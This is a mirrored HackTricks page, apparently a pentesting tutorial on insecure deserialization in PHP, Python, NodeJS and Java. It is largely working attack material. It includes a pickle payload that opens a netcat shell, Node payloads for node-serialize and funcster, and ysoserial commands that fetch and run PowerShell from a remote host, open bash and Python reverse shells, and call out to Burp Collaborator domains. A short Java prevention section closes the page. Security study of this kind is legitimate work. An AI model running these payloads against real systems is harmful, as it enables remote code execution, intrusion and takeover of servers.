mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
890 lines
50 KiB
Markdown
890 lines
50 KiB
Markdown
# Deserialization
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
**Serialization** is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications.
|
||
|
||
**Deserialization** is the reverse of that process, taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.
|
||
|
||
In many occasions you can find some code in the server side that unserialize some object given by the user.\
|
||
In this case, you can send a malicious payload to make the server side behave unexpectedly.
|
||
|
||
**You should read:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **for learn how to attack.**
|
||
|
||
## PHP
|
||
|
||
Magic method used with serialization:
|
||
|
||
* `__sleep` is called when an object is serialized and must be returned to array
|
||
|
||
Magic method used with deserialization
|
||
|
||
* `__wakeup` is called when an object is deserialized.
|
||
* `__unserialize` is called instead of `__wakeup` if it exists.
|
||
* `__destruct` is called when PHP script end and object is destroyed.
|
||
* `__toString` uses object as string but also can be used to read file or more than that based on function call inside it.
|
||
|
||
```php
|
||
<?php
|
||
class test {
|
||
public $s = "This is a test";
|
||
public function displaystring(){
|
||
echo $this->s.'<br />';
|
||
}
|
||
public function __toString()
|
||
{
|
||
echo '__toString method called';
|
||
}
|
||
public function __construct(){
|
||
echo "__construct method called";
|
||
}
|
||
public function __destruct(){
|
||
echo "__destruct method called";
|
||
}
|
||
public function __wakeup(){
|
||
echo "__wakeup method called";
|
||
}
|
||
public function __sleep(){
|
||
echo "__sleep method called";
|
||
return array("s"); #The "s" makes references to the public attribute
|
||
}
|
||
}
|
||
|
||
$o = new test();
|
||
$o->displaystring();
|
||
$ser=serialize($o);
|
||
echo $ser;
|
||
$unser=unserialize($ser);
|
||
$unser->displaystring();
|
||
|
||
/*
|
||
php > $o = new test();
|
||
__construct method called
|
||
__destruct method called
|
||
php > $o->displaystring();
|
||
This is a test<br />
|
||
|
||
php > $ser=serialize($o);
|
||
__sleep method called
|
||
|
||
php > echo $ser;
|
||
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
|
||
|
||
php > $unser=unserialize($ser);
|
||
__wakeup method called
|
||
__destruct method called
|
||
|
||
php > $unser->displaystring();
|
||
This is a test<br />
|
||
*/
|
||
?>
|
||
```
|
||
|
||
If you look to the results you can see that the functions **`__wakeup`** and **`__destruct`** are called when the object is deserialized. Note that in several tutorials you will find that the **`__toString`** function is called when trying yo print some attribute, but apparently that's **not happening anymore**.
|
||
|
||
{% hint style="warning" %}
|
||
`The method`` `**`__unserialize(array $data)`** is called **instead of `__wakeup()`** if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.
|
||
|
||
```php
|
||
phpCopy codeclass MyClass {
|
||
private $property;
|
||
|
||
public function __unserialize(array $data): void {
|
||
$this->property = $data['property'];
|
||
// Perform any necessary tasks upon deserialization.
|
||
}
|
||
}
|
||
```
|
||
{% endhint %}
|
||
|
||
You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||
|
||
### PHP Deserial + Autoload Classes
|
||
|
||
You could abuse the PHP autoload functionality to load arbitrary php files and more:
|
||
|
||
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
|
||
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Serializing Referenced Values
|
||
|
||
If for some reason you want to serialize a value as a **reference to another value serialized** you can:
|
||
|
||
```php
|
||
<?php
|
||
class AClass {
|
||
public $param1;
|
||
public $param2;
|
||
}
|
||
|
||
$o = new WeirdGreeting;
|
||
$o->param1 =& $o->param22;
|
||
$o->param = "PARAM";
|
||
$ser=serialize($o);
|
||
```
|
||
|
||
### PHPGGC (ysoserial for PHP)
|
||
|
||
[**PHPGGC**](https://github.com/ambionics/phpggc) can help you generating payloads to abuse PHP deserializations.\
|
||
Note than in several cases you **won't be able to find a way to abuse a deserialization in the source code** of the application but you may be able to **abuse the code of external PHP extensions.**\
|
||
So, if you can, check the `phpinfo()` of the server and **search on the internet** (an even on the **gadgets** of **PHPGGC**) some possible gadget you could abuse.
|
||
|
||
### phar:// metadata deserialization
|
||
|
||
If you have found a LFI that is just reading the file and not executing the php code inside of it, for example using functions like _**file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**_**.** You can try to abuse a **deserialization** occurring when **reading** a **file** using the **phar** protocol.\
|
||
For more information read the following post:
|
||
|
||
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
||
[phar-deserialization.md](../file-inclusion/phar-deserialization.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Python
|
||
|
||
### **Pickle**
|
||
|
||
When the object gets unpickle, the function _\_\_reduce\_\__ will be executed.\
|
||
When exploited, server could return an error.
|
||
|
||
```python
|
||
import pickle, os, base64
|
||
class P(object):
|
||
def __reduce__(self):
|
||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||
print(base64.b64encode(pickle.dumps(P())))
|
||
```
|
||
|
||
For more information about escaping from **pickle jails** check:
|
||
|
||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||
{% endcontent-ref %}
|
||
|
||
### Yaml **&** jsonpickle
|
||
|
||
The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**:
|
||
|
||
{% content-ref url="python-yaml-deserialization.md" %}
|
||
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Class Pollution (Python Prototype Pollution)
|
||
|
||
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
|
||
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||
{% endcontent-ref %}
|
||
|
||
## NodeJS
|
||
|
||
### JS Magic Functions
|
||
|
||
JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||
If abusing a deserialization you can **compromise these functions to execute other code** (potentially abusing prototype pollutions) you could execute arbitrary code when they are called.
|
||
|
||
Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._
|
||
|
||
```javascript
|
||
// If you can compromise p (returned object) to be a promise
|
||
// it will be executed just because it's the return object of an async function:
|
||
async function test_resolve() {
|
||
const p = new Promise(resolve => {
|
||
console.log('hello')
|
||
resolve()
|
||
})
|
||
return p
|
||
}
|
||
|
||
async function test_then() {
|
||
const p = new Promise(then => {
|
||
console.log('hello')
|
||
return 1
|
||
})
|
||
return p
|
||
}
|
||
|
||
test_ressolve()
|
||
test_then()
|
||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||
```
|
||
|
||
### `__proto__` and `prototype` pollution
|
||
|
||
If you want to learn about this technique **take a look to the following tutorial**:
|
||
|
||
{% content-ref url="nodejs-proto-prototype-pollution/" %}
|
||
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
|
||
{% endcontent-ref %}
|
||
|
||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||
|
||
This library allows to serialise functions. Example:
|
||
|
||
```javascript
|
||
var y = {
|
||
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
|
||
}
|
||
var serialize = require('node-serialize');
|
||
var payload_serialized = serialize.serialize(y);
|
||
console.log("Serialized: \n" + payload_serialized);
|
||
```
|
||
|
||
The **serialised object** will looks like:
|
||
|
||
```bash
|
||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||
```
|
||
|
||
You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object.
|
||
|
||
Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it.
|
||
|
||
![](<../../.gitbook/assets/image (297).png>)
|
||
|
||
![](<../../.gitbook/assets/image (298).png>)
|
||
|
||
As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**.
|
||
|
||
However, **just serialising** a function **won't execute it** as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **unlikable**.\
|
||
Anyway, you could just **modify the serialised object** **adding some parenthesis** in order to auto execute the serialized function when the object is deserialized.\
|
||
In the next chunk of code **notice the last parenthesis** and how the `unserialize` function will automatically execute the code:
|
||
|
||
```javascript
|
||
var serialize = require('node-serialize');
|
||
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
||
serialize.unserialize(test);
|
||
```
|
||
|
||
As it was previously indicated, this library will get the code after`_$$ND_FUNC$$_` and will **execute it** using `eval`. Therefore, in order to **auto-execute code** you can **delete the function creation** part and the last parenthesis and **just execute a JS oneliner** like in the following example:
|
||
|
||
```javascript
|
||
var serialize = require('node-serialize');
|
||
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
||
serialize.unserialize(test);
|
||
```
|
||
|
||
You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability.
|
||
|
||
### [funcster](https://www.npmjs.com/package/funcster)
|
||
|
||
The interesting difference here is that the **standard built-in objects are not accessible**, because they are out of scope. It means that we can execute our code, but cannot call build-in objects’ methods. So if we use `console.log()` or `require(something)`, Node returns an exception like `"ReferenceError: console is not defined"`.
|
||
|
||
However, we can easily can get back access to everything because we still have access to the global context using something like `this.constructor.constructor("console.log(1111)")();`:
|
||
|
||
```javascript
|
||
funcster = require("funcster");
|
||
//Serialization
|
||
var test = funcster.serialize(function() { return "Hello world!" })
|
||
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
|
||
|
||
//Deserialization with auto-execution
|
||
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
|
||
funcster.deepDeserialize(desertest1)
|
||
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
|
||
funcster.deepDeserialize(desertest2)
|
||
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
|
||
funcster.deepDeserialize(desertest3)
|
||
```
|
||
|
||
**For**[ **more information read this page**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||
|
||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||
|
||
The package **doesn’t include any deserialization functionalit**y and requires you to implement it yourself. Their example uses `eval` directly. This is the official deserialisation example:
|
||
|
||
```javascript
|
||
function deserialize(serializedJavascript){
|
||
return eval('(' + serializedJavascript + ')');
|
||
}
|
||
```
|
||
|
||
If this function is used to deserialize objects you can **easily exploit it**:
|
||
|
||
```javascript
|
||
var serialize = require('serialize-javascript');
|
||
//Serialization
|
||
var test = serialize(function() { return "Hello world!" });
|
||
console.log(test) //function() { return "Hello world!" }
|
||
|
||
//Deserialization
|
||
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||
deserialize(test)
|
||
```
|
||
|
||
### Cryo library
|
||
|
||
In the following pages you can find information about how to abuse this library to execute arbitrary commands:
|
||
|
||
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||
|
||
## Java - HTTP
|
||
|
||
The main problem with deserialized objects in Java is that **deserialization callbacks were invoked during deserialization**. This makes possible for an **attacker** to **take advantage of that callbacks** and prepare a payload that abuses the callbacks to **perform malicious actions**.
|
||
|
||
### Fingerprints
|
||
|
||
#### White Box
|
||
|
||
Search inside the code for serialization classes and function. For example, search for classes implementing `Serializable` , the use of `java.io.ObjectInputStream` \_\_ or `readObject` \_\_ or `readUnshare` functions\_.\_
|
||
|
||
You should also keep an eye on:
|
||
|
||
* `XMLdecoder` with external user defined parameters
|
||
* `XStream` with `fromXML` method (xstream version <= v1.46 is vulnerable to the serialization issue)
|
||
* `ObjectInputStream` with `readObject`
|
||
* Uses of `readObject`, `readObjectNodData`, `readResolve` or `readExternal`
|
||
* `ObjectInputStream.readUnshared`
|
||
* `Serializable`
|
||
|
||
#### Black Box
|
||
|
||
**Fingerprints/Magic Bytes** of **java serialised** objects (from `ObjectInputStream`):
|
||
|
||
* `AC ED 00 05` in Hex
|
||
* `rO0` in Base64
|
||
* `Content-type` header of an HTTP response set to `application/x-java-serialized-object`
|
||
* `1F 8B 08 00` Hex previously compressed
|
||
* `H4sIA` Base64 previously compressed
|
||
* Web files with extension `.faces` and `faces.ViewState` parameter. If you find this in a wabapp, take a look to the [**post about Java JSF VewState Deserialization**](java-jsf-viewstate-.faces-deserialization.md).
|
||
|
||
```
|
||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||
```
|
||
|
||
### Check if vulnerable
|
||
|
||
If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), and [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||
|
||
#### White Box Test
|
||
|
||
You can check if there is installed any application with known vulnerabilities.
|
||
|
||
```bash
|
||
find . -iname "*commons*collection*"
|
||
grep -R InvokeTransformer .
|
||
```
|
||
|
||
You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||
You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\
|
||
When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**.
|
||
|
||
#### Black Box Test
|
||
|
||
Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\
|
||
[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||
GadgetProbe is focused on \*\* `ObjectInputStream` \*\* deserializations\*\*.\*\*
|
||
|
||
Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\
|
||
[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||
Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations.
|
||
|
||
You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect \*\*not only `ObjectInputStream`\*\*related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\
|
||
[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||
|
||
**Serialization Test**
|
||
|
||
Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\
|
||
If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks.
|
||
|
||
### **Exploit**
|
||
|
||
#### **ysoserial**
|
||
|
||
The most well-known tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\
|
||
Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\
|
||
I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.
|
||
|
||
```bash
|
||
# PoC to make the application perform a DNS req
|
||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||
|
||
# PoC RCE in Windows
|
||
# Ping
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
|
||
# Time, I noticed the response too longer when this was used
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
|
||
# Create File
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
|
||
# DNS request
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
|
||
# HTTP request (+DNS)
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
|
||
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
|
||
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
|
||
# Reverse Shell
|
||
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
|
||
|
||
#PoC RCE in Linux
|
||
# Ping
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
|
||
# Time
|
||
## Using time in bash I didn't notice any difference in the timing of the response
|
||
# Create file
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
|
||
# DNS request
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
||
# HTTP request (+DNS)
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
||
# Reverse shell
|
||
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
|
||
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
|
||
|
||
# Base64 encode payload in base64
|
||
base64 -w0 payload
|
||
```
|
||
|
||
When creating a payload for **java.lang.Runtime.exec()** you **cannot use special characters** like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even **pass arguments** to a command separated by **spaces** (you can do `echo -n "hello world"` but you can't do `python2 -c 'print "Hello world"'`). In order to encode correctly the payload you could [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||
|
||
Feel free to use the next script to create **all the possible code execution** payloads for Windows and Linux and then test them on the vulnerable web page:
|
||
|
||
```python
|
||
import os
|
||
import base64
|
||
|
||
# You may need to update the payloads
|
||
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
|
||
def generate(name, cmd):
|
||
for payload in payloads:
|
||
final = cmd.replace('REPLACE', payload)
|
||
print 'Generating ' + payload + ' for ' + name + '...'
|
||
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
|
||
result = command.read()
|
||
command.close()
|
||
encoded = base64.b64encode(result)
|
||
if encoded != "":
|
||
open(name + '_intruder.txt', 'a').write(encoded + '\n')
|
||
|
||
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
|
||
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||
```
|
||
|
||
#### serialkillerbypassgadgets
|
||
|
||
You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
||
|
||
#### marshalsec
|
||
|
||
[**marshalsec** ](https://github.com/mbechler/marshalsec)can be used to generate payloads to exploit different **Json** and **Yml** serialization libraries in Java.\
|
||
In order to compile the project I needed to **add** this **dependencies** to `pom.xml`:
|
||
|
||
```markup
|
||
<dependency>
|
||
<groupId>javax.activation</groupId>
|
||
<artifactId>activation</artifactId>
|
||
<version>1.1.1</version>
|
||
</dependency>
|
||
|
||
<dependency>
|
||
<groupId>com.sun.jndi</groupId>
|
||
<artifactId>rmiregistry</artifactId>
|
||
<version>1.2.1</version>
|
||
<type>pom</type>
|
||
</dependency>
|
||
```
|
||
|
||
**Install maven**, and **compile** the project:
|
||
|
||
```bash
|
||
sudo apt-get install maven
|
||
mvn clean package -DskipTests
|
||
```
|
||
|
||
#### FastJSON
|
||
|
||
Read more about this Java JSON library: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||
|
||
### Labs
|
||
|
||
* If you want to test some ysoserial payloads you can **run this webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||
|
||
### Why
|
||
|
||
Java LOVES sending serialized objects all over the place. For example:
|
||
|
||
* In **HTTP requests** – Parameters, ViewState, Cookies, you name it.
|
||
* **RMI** – The extensively used Java RMI protocol is 100% based on serialization
|
||
* **RMI over HTTP** – Many Java thick client web apps use this – again 100% serialized objects
|
||
* **JMX** – Again, relies on serialized objects being shot over the wire
|
||
* **Custom Protocols** – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come
|
||
|
||
### Prevention
|
||
|
||
#### Transient objects
|
||
|
||
A class that implements `Serializable` can implement as `transient` any object inside the class that shouldn't be serializable. For example:
|
||
|
||
```java
|
||
public class myAccount implements Serializable
|
||
{
|
||
private transient double profit; // declared transient
|
||
private transient double margin; // declared transient
|
||
```
|
||
|
||
#### Avoid Serialization of a class that need to implements Serializable
|
||
|
||
Some of your application objects may be forced to implement `Serializable` due to their hierarchy. To guarantee that your application objects can't be deserialized, a `readObject()` method should be declared (with a `final` modifier) which always throws an exception:
|
||
|
||
```java
|
||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||
throw new java.io.IOException("Cannot be deserialized");
|
||
}
|
||
```
|
||
|
||
#### Check deserialized class before deserializing it
|
||
|
||
The `java.io.ObjectInputStream` class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:
|
||
|
||
* You can change the code that does the deserialization
|
||
* You know what classes you expect to deserialize
|
||
|
||
The general idea is to override [`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) in order to restrict which classes are allowed to be deserialized.
|
||
|
||
Because this call happens before a `readObject()` is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.
|
||
|
||
